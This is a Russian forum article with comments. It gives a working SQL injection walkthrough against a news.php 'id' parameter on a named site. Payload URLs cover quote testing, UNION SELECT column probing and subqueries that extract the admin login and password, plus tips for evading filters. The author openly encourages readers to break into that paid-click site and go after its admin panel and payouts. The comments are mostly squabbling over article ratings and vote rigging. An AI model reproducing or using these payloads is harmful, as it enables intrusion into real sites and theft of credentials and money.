SQL инъекция в новостях с комментариями
SQL инъекция в новостях с комментариями
У многих в скриптах не фильтруется передаваемый параметр id.

Пример: http://5b-u-x.com/news.php?id=pezdec

Как узнать, есть ли возможность запилить у вас инъекцию?
Идём по адресу новости любой существующей (id - это номер в ссылке на полную новость).

Пример: http://5b-u-x.com/45-new.html -> превращается у нас в http://5b-u-x.com/news.php?id=45

Теперь проверим возможность на проведение инъекции:
http://5b-u-x.com/news.php?id=45' (в конце просто добавили кавычку, если с одной не канает - тыкаем двойную)

Итак, наш результат: нету сообщения, мол новости не существует и при этом мы видим пустую страницу. В нормальных случаях мы бы увидели ошибку в синтаксисе запроса, в нашем же - вывод ошибок отключён, но тем не менее текстового вердикта, мол id новости неправилен - мы не видим.

Давайте этим воспользуемся. Идём в гугл, набираем запрос вида: "antichat.ru полный FAQ SQL инъекции" и читаем. Если хоть немного шарим в SQL запросах, то поехали...

Итак, разберёмся в коде файла, у нас есть запрос, который достаёт инфу о новости:
SELECT * FROM tb_news WHERE id='$newid'

* - значит берёт всю инфу из всех строк.

Теперь глянем в структуру таблицы tb_news, полей там 4:
- date;
- id;
- newstext;
- tema.

Немного модернизируем нашу ссылку: http://5b-u-x.com/news.php?id=0' UNION SELECT 1,2,3,4 -- (после -- пробел обязателен, можно также вставить # или /*)

id=0 выбрал id специально несуществующей новости, в противном случае ничего не получится. Цифры 1,2,3,4 специально проставлены для нумерации порядка, чтоб вбить запрос в "битые поля". Наш результат - мы видим цифры 2 и 3.

Давайте продолжать модернизировать линк: http://5b-u-x.com/news.php?id=0' UNION SELECT 1,(SELECT username FROM tb_users WHERE user_status='admin'),(SELECT password FROM tb_users WHERE user_status='admin'),4 -- (опять же пробел)

И что мы видим? Логин и пароль админа, а дальше можно начинать действовать, уж дальше ума много не надо.

1. В статью я не стал расписывать почему и зачем нужны кавычки. Нет смысла - тут многие тугодумы начнут тупо флудить.
2. Букс для примера ещё не был взломан, дерзайте. Там тяжко продумать как его накрутить, ибо админка спрятана.
3. Там автовыплаты, макс.сумма - 15 рублей/раз в сутки. Так что лучше ищите админку.
4. Если на буксе жертве при попытке составить запрос ничего не получается - попробуйте пробелы заменить на + или на /**/

Фикс:
В файле news.php меняем:
$newid=$_GET[id];

На:
$newid=intval($_GET[id]);

Все.


Рубрика: Бесплатное » Дыры, ошибки   |   Автор: Alex   |   Просмотры: 9780
Комментариев: 338
Публикаций: 169
ICQ: 650073308
- 291 +
  Автор: Alex   |   Группа: Пользователи   |   Дата: 30 марта 2012  
я прошу не тролить )

статья древняя как моя жизнь,тем не менее,ещё пока что пусть не везде но актуальная)

а ну и я её опубликовал - хочу глянуть - мож правда меня все так ненавидят оО
Комментариев: 0
Публикаций: 0
ICQ: --
- 0 +
  Автор: Hamit   |   Группа: Гости   |   Дата: 30 марта 2012  
Плюсанул статью wink )
Комментариев: 338
Публикаций: 169
ICQ: 650073308
- 291 +
  Автор: Alex   |   Группа: Пользователи   |   Дата: 30 марта 2012  
не ну погоди щас ещё интереснее будет...посморим.мож народ чо откликнет.а то походу если меня так терпеть не могут и с дельтой никто не хочет иметь дела если даже я настрою,то я тогда не вижу и смысла описывать ещё более пи3датые баги)
Комментариев: 47
Публикаций: 1
ICQ: 777042
- 93 +
  Автор: Fiesta   |   Группа: Пользователи   |   Дата: 30 марта 2012  
И я плсану:)
Завтра почитаю реакцию школы:)
Комментариев: 338
Публикаций: 169
ICQ: 650073308
- 291 +
  Автор: Alex   |   Группа: Пользователи   |   Дата: 30 марта 2012  
вы чо блеать -3 рейтинг

щас я ещё одну долбану чтоб вы попутали сцуко
Комментариев: 0
Публикаций: 0
ICQ: --
- 0 +
  Автор: Hamit   |   Группа: Гости   |   Дата: 30 марта 2012  
все ясно. Рейтинги накручивают.я им не верю больше)
Комментариев: 121
Публикаций: 2
ICQ: 819374
- 118 +
  Автор: Rufus   |   Группа: Программисты   |   Дата: 30 марта 2012  
Hamit,
Как? {О_о}
Комментариев: 0
Публикаций: 0
ICQ: --
- 0 +
  Автор: Hamit   |   Группа: Гости   |   Дата: 30 марта 2012  
Alex,
Не старайся. Тут явно крутят их.
Комментариев: 338
Публикаций: 169
ICQ: 650073308
- 291 +
  Автор: Alex   |   Группа: Пользователи   |   Дата: 30 марта 2012  
руфус харе крутить блеать я понимаю баян но всё же)
Комментариев: 47
Публикаций: 1
ICQ: 777042
- 93 +
  Автор: Fiesta   |   Группа: Пользователи   |   Дата: 30 марта 2012  
-44

Данунах, гооон wassat
Комментариев: 117
Публикаций: 0
ICQ: 444249
- 482 +
  Автор: BITbOK   |   Группа: Модераторы   |   Дата: 30 марта 2012  
Цитата: Rufus
Как? {О_о}

А что не видно?:)
за 30 минут - -43,за час +80.
раньше такого не было!
Комментариев: 121
Публикаций: 2
ICQ: 819374
- 118 +
  Автор: Rufus   |   Группа: Программисты   |   Дата: 30 марта 2012  
Цитата: Alex
руфус харе крутить блеать я понимаю баян но всё же)


Я не накручиваю, я тебе минусанул!
Комментариев: 240
Публикаций: 6
ICQ: 573235722
- -896 +
  Автор: VELIK505   |   Группа: Программисты   |   Дата: 30 марта 2012  
не это не гон. Я минусанул=)
Комментариев: 117
Публикаций: 0
ICQ: 444249
- 482 +
  Автор: BITbOK   |   Группа: Модераторы   |   Дата: 30 марта 2012  
Цитата: VELIK505
Я минусанул=)

я тож belay
Комментариев: 47
Публикаций: 1
ICQ: 777042
- 93 +
  Автор: Fiesta   |   Группа: Пользователи   |   Дата: 30 марта 2012  
Цитата: VELIK505
не это не гон. Я минусанул=)

Это типа твой минус за -40 считается?:)
Комментариев: 338
Публикаций: 169
ICQ: 650073308
- 291 +
  Автор: Alex   |   Группа: Пользователи   |   Дата: 30 марта 2012  
нука плюсаните шустро блеать
Комментариев: 117
Публикаций: 0
ICQ: 444249
- 482 +
  Автор: BITbOK   |   Группа: Модераторы   |   Дата: 30 марта 2012  
Цитата: Alex
руфус харе крутить блеать я понимаю баян но всё же)

" Просмотры: 106" ничего удивительного в этом нету:)
ведь на шопе 500+ людей активных..Скоро будет -100 О_о
Комментариев: 138
Публикаций: 2
ICQ: 567777707
- 490 +
  Автор: Forceman   |   Группа: Пользователи   |   Дата: 30 марта 2012  
-45 нах :) Алекс нуб :D
Комментариев: 738
Публикаций: 50
ICQ: --
- 4 +
  Автор: Green-wm   |   Группа: Пользователи   |   Дата: 30 марта 2012  
Цитата: BITbOK
Просмотры: 106" ничего удивительного в этом нету:)

Ололош. Просмотры не уникальны.
Комментариев: 117
Публикаций: 0
ICQ: 444249
- 482 +
  Автор: BITbOK   |   Группа: Модераторы   |   Дата: 30 марта 2012  
Цитата: Green-wm
Ололош. Просмотры не уникальны.

пох..
я это так сказал... минус можно и поставить не заходя в новость
Комментариев: 0
Публикаций: 0
ICQ: --
- 0 +
  Автор: Hamit   |   Группа: Гости   |   Дата: 30 марта 2012  
Не тупите. Идет накрутка. Ладно в минусах. А в плюсахто... Получается 300р не справедливо дадут.
Комментариев: 121
Публикаций: 2
ICQ: 819374
- 118 +
  Автор: Rufus   |   Группа: Программисты   |   Дата: 30 марта 2012  
Цитата: Hamit
Не тупите. Идет накрутка. Ладно в минусах. А в плюсахто... Получается 300р не справедливо дадут.

Кому их дадут? {O_o} дай мне)
Комментариев: 0
Публикаций: 0
ICQ: --
- 0 +
  Автор: Hamit   |   Группа: Гости   |   Дата: 30 марта 2012  
Цитата: Rufus
Кому их дадут? {O_o} дай мне)

Кто больше плюсов накрутит. Давай тоже пиши статью в пару строк и ставь себе +1000
Комментариев: 121
Публикаций: 2
ICQ: 819374
- 118 +
  Автор: Rufus   |   Группа: Программисты   |   Дата: 30 марта 2012  
Цитата: Alex
руфус харе крутить блеать я понимаю баян но всё же)


Не могу понять, почему, если где-то баги находятся, кто-то кого-то накручивает, где-то появляются какие-то хакерские проги везде виноват Руфус? Я то тут при чем?

Цитата: Hamit
Кто больше плюсов накрутит. Давай тоже пиши статью в пару строк и ставь себе +1000


Еще один!

А я тебе плюсанул)
Комментариев: 0
Публикаций: 0
ICQ: --
- 0 +
  Автор: Hamit   |   Группа: Гости   |   Дата: 30 марта 2012  
Цитата: Rufus
А я тебе плюсанул)

Я тебе тоже) Я не говорю что ты крутишь. Тут много умельцев)
Комментариев: 121
Публикаций: 2
ICQ: 819374
- 118 +
  Автор: Rufus   |   Группа: Программисты   |   Дата: 30 марта 2012  
Цитата: Hamit
Я тебе тоже) Я не говорю что ты крутишь. Тут много умельцев)

Но ты так думаешь) И большинство так думают... Почему я?
Комментариев: 117
Публикаций: 0
ICQ: 444249
- 482 +
  Автор: BITbOK   |   Группа: Модераторы   |   Дата: 30 марта 2012  
Цитата: Rufus
Почему я?

Потому что именно ты писал темы что знаеш как накрутить партнерки и т.д)
Поэтому всё думаю именно на тебя:)
Комментариев: 121
Публикаций: 2
ICQ: 819374
- 118 +
  Автор: Rufus   |   Группа: Программисты   |   Дата: 30 марта 2012  
Я много чего писал :)
Комментариев: 150
Публикаций: 8
ICQ: --
- 80 +
  Автор: PHPmaster   |   Группа: Пользователи   |   Дата: 30 марта 2012  
че та рейтинг понизился та? wink
ломать буксы надо на сео скрипте,может поумненет школота
Комментариев: 738
Публикаций: 50
ICQ: --
- 4 +
  Автор: Green-wm   |   Группа: Пользователи   |   Дата: 30 марта 2012  
Цитата: PHPmaster
че та рейтинг понизился та?

Руфус атакэ.
Информация

Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.